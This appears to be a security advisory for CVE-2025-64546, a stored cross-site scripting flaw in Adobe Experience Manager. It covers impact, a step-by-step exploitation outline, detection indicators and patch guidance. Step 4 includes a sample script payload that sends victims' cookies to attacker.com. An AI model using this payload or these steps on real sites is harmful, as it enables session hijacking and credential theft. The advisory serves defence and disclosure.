CVE-2025-64546: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64546 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The changed scope means the impact extends beyond the AEM application itself to the victim's browser environment. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Authenticate with low privileges: Obtain or use any low-privileged AEM user account (e.g., a content author account).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input without adequate sanitization.
4. Inject XSS payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads from low-privileged user accounts.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual DNS lookups originating from AEM page visitors.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) stored within AEM JCR content nodes or page properties.
• Logs: Browser-side console errors or network requests to attacker-controlled domains logged in web proxy or SIEM solutions correlating with AEM page visits.

Adobe has released patches addressing CVE-2025-64546 as part of security bulletin APSB25-115. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service deployments are addressed in the 2025.12.0 release. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any previously injected malicious scripts (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including this CVE, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable released Nessus detection plugin 278346 to identify affected AEM instances. No notable independent researcher commentary or significant social media discussion has been identified for this specific CVE.